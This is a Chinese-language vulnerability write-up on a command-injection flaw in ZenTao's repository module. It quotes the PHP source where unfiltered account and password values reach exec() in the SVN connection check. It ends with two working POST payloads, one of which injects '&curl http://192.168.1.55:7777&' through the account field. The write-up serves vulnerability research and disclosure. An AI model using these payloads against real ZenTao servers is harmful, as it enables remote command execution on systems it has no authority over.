探索禅道中命令注入的可能性
背景
这是个错误
习惯了找框架rce,本打算找一波反序列化利用链,那肯定先搜索以下是否存在触发点

然而皮了,和框架不一样的
谈一谈反序列化
平时框架的反序列化,直接命名空间,use就完事了,
实际一个类要想能被反序列化,事先应对类文件进行了包含,才能使用
use 命名空间\类名 的形式
但是禅道中存在自己的加载机制,并不是自动加载所有的库文件,所以反序列化不想了,
但是针对入口文件,还是要做一个简单分析,抱着不能白来一趟的感觉(当然白给)
phpseclib第三方库
__destruct入口
发现一处wakeup方法(当然也断了,没看懂开发思维)
漏洞发现
在上面测试的时候,发现代码中有这么基础exec执行命令的地方,且不是库文件

共有两处调用repo的create方法和update方法,当然有权限限制


以产品经理的身分测试
create方法
首先checkClient方法需要返回true
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public function checkClient() { if(!$this->config->features->checkClient) return true; if(!$this->post->client) return true;
if(strpos($this->post->client, ' ')) { dao::$errors['client'] = $this->lang->repo->error->clientPath; return false; }
$clientVersionFile = $this->session->clientVersionFile; if(empty($clientVersionFile)) { $clientVersionFile = $this->app->getLogRoot() . uniqid('version_') . '.log';
session_start(); $this->session->set('clientVersionFile', $clientVersionFile); session_write_close(); }
if(file_exists($clientVersionFile)) return true;
$cmd = $this->post->client . " --version > $clientVersionFile"; dao::$errors['client'] = sprintf($this->lang->repo->error->safe, $clientVersionFile, $cmd);
return false; }
|
原则上这个方法时绕不过去的
所以想要利用,就需要管理人员配置了可以使用,通过config配置或者下面存在log文件
不在多看
edit->update方法
首先,__construct方法限制了,需要存在数据才能访问edit方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public function __construct() { parent::__construct(); include "../../lib/phpaes/phpseclib/Net/SSH1.php";
$disFuncs = str_replace(' ', '', ini_get('disable_functions')); if(stripos(",$disFuncs,", ',exec,') !== false or stripos(",$disFuncs,", ',shell_exec,') !== false) { echo js::alert($this->lang->repo->error->useless); die(js::locate('back')); }
$this->scm = $this->app->loadClass('scm'); $this->repos = $this->repo->getRepoPairs(); if(empty($this->repos) and $this->methodName != 'create') die(js::locate($this->repo->createLink('create')));
/* Unlock session for wait to get data of repo. */ session_write_close(); }
|
在create方法中,需要checkConnection方法返回true,才能继续执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public function create() { if(!$this->checkClient()) return false; if(!$this->checkConnection()) return false;
$data = fixer::input('post')->setDefault('client', 'svn')->skipSpecial('path,client,account,password')->get(); $data->acl = empty($data->acl) ? '' : json_encode($data->acl);
if($data->SCM == 'Subversion') { $scm = $this->app->loadClass('scm'); $scm->setEngine($data); $info = $scm->info(''); $data->prefix = empty($info->root) ? '' : trim(str_ireplace($info->root, '', str_replace('\\', '/', $data->path)), '/'); if($data->prefix) $data->prefix = '/' . $data->prefix; }
if($data->encrypt == 'base64') $data->password = base64_encode($data->password); $this->dao->insert(TABLE_REPO)->data($data) ->batchCheck($this->config->repo->create->requiredFields, 'notempty') ->checkIF($data->SCM == 'Subversion', $this->config->repo->svn->requiredFields, 'notempty') ->autoCheck() ->exec();
if(!dao::isError()) $this->rmClientVersionFile();
return $this->dao->lastInsertID(); }
|
前面的checkClient方法,我们不能输入cilent的参数值,
所以整个git分支不能进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| elseif($scm == 'Git') { if(!is_dir($path)){ dao::$errors['path'] = sprintf($this->lang->repo->error->noFile, $path); return false; } if(!chdir($path)){ if(!is_executable($path)) { dao::$errors['path'] = sprintf($this->lang->repo->error->noPriv, $path); return false; } dao::$errors['path'] = $this->lang->repo->error->path; return false; }
$command = "$client tag 2>&1"; exec($command, $output, $result); if($result){ dao::$errors['submit'] = $this->lang->repo->error->connect . "<br />" . sprintf($this->lang->repo->error->output, $command, $result, join("<br />", $output)); return false; } }
|
同样的是,在svn的分支中也基本都是返回false
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| if($scm == 'Subversion') { /* Get svn version. */ $versionCommand = "$client --version --quiet 2>&1"; exec($versionCommand, $versionOutput, $versionResult); if($versionResult) { $message = sprintf($this->lang->repo->error->output, $versionCommand, $versionResult, join("<br />", $versionOutput)); dao::$errors['client'] = $this->lang->repo->error->cmd . "<br />" . nl2br($message); return false; } $svnVersion = end($versionOutput);
$path = '"' . str_replace(array('%3A', '%2F', '+'), array(':', '/', ' '), urlencode($path)) . '"'; if(stripos($path, 'https://') === 1 or stripos($path, 'svn://') === 1) { if(version_compare($svnVersion, '1.6', '<')) { dao::$errors['client'] = $this->lang->repo->error->version; return false; }
$command = "$client info --username $account --password $password --non-interactive --trust-server-cert-failures=cn-mismatch --trust-server-cert --no-auth-cache $path 2>&1"; if(version_compare($svnVersion, '1.9', '<')) $command = "$client info --username $account --password $password --non-interactive --trust-server-cert --no-auth-cache $path 2>&1"; } else if(stripos($path, 'file://') === 1) { $command = "$client info --non-interactive --no-auth-cache $path 2>&1"; } else { $command = "$client info --username $account --password $password --non-interactive --no-auth-cache $path 2>&1"; }
exec($command, $output, $result); if($result) { $message = sprintf($this->lang->repo->error->output, $command, $result, join("<br />", $output)); if(stripos($message, 'Expected FS format between') !== false and strpos($message, 'found format') !== false) { dao::$errors['client'] = $this->lang->repo->error->clientVersion; return false; } if(preg_match('/[^\:\/\\A-Za-z0-9_\-\'\"\.]/', $path)) { dao::$errors['encoding'] = $this->lang->repo->error->encoding . "<br />" . nl2br($message); return false; }
dao::$errors['submit'] = $this->lang->repo->error->connect . "<br>" . nl2br($message); return false; } }
|
在程序最下面会返回true,并且不存在else语句
$scm参数通过post传递,完全可控
所以只要不存在client和scm不等于git或者Subversion即可成功插入

漏洞分析
update方法

由于对下列标量均为做过滤

造成命令注入的地方,执行命令是没有问题的

限制
需要目标存在svn环境
或者搞个注入,改一下也成啊,不过不大可能了

payload
创建文件
SCM=Test&name=test&path=E%3A%5C%5C%E5%B7%A5%E4%BD%9C%5C%5Czkaq%5C%5C%E7%A0%94%E7%A9%B6%E4%BB%BB%E5%8A%A1%5C%5C%E7%A0%94%E7%A9%B6%5C%5C20.11%5C%5C11.11%5C%5Czentaopms&encoding=utf-8&client=&account=&password=&encrypt=base64&acl%5Bgroups%5D%5B%5D=2&acl%5Busers%5D%5B%5D=productManager&desc=aaaaaaaaaaaa&uid=5fb1d83057b72
命令执行
SCM=Subversion&name=test&path=E%3A%5C%5C%E5%B7%A5%E4%BD%9C%5C%5Czkaq%5C%5C%E7%A0%94%E7%A9%B6%E4%BB%BB%E5%8A%A1%5C%5C%E7%A0%94%E7%A9%B6%5C%5C20.11%5C%5C11.11%5C%5Czentaopms&encoding=utf-8&client=svn&account=%26curl http://192.168.1.55:7777%26 echo&password=12345678&encrypt=base64&acl%5Bgroups%5D%5B%5D=2&acl%5Busers%5D%5B%5D=productManager&desc=aaaaaaaaaaaa&uid=5fb25b2e34d31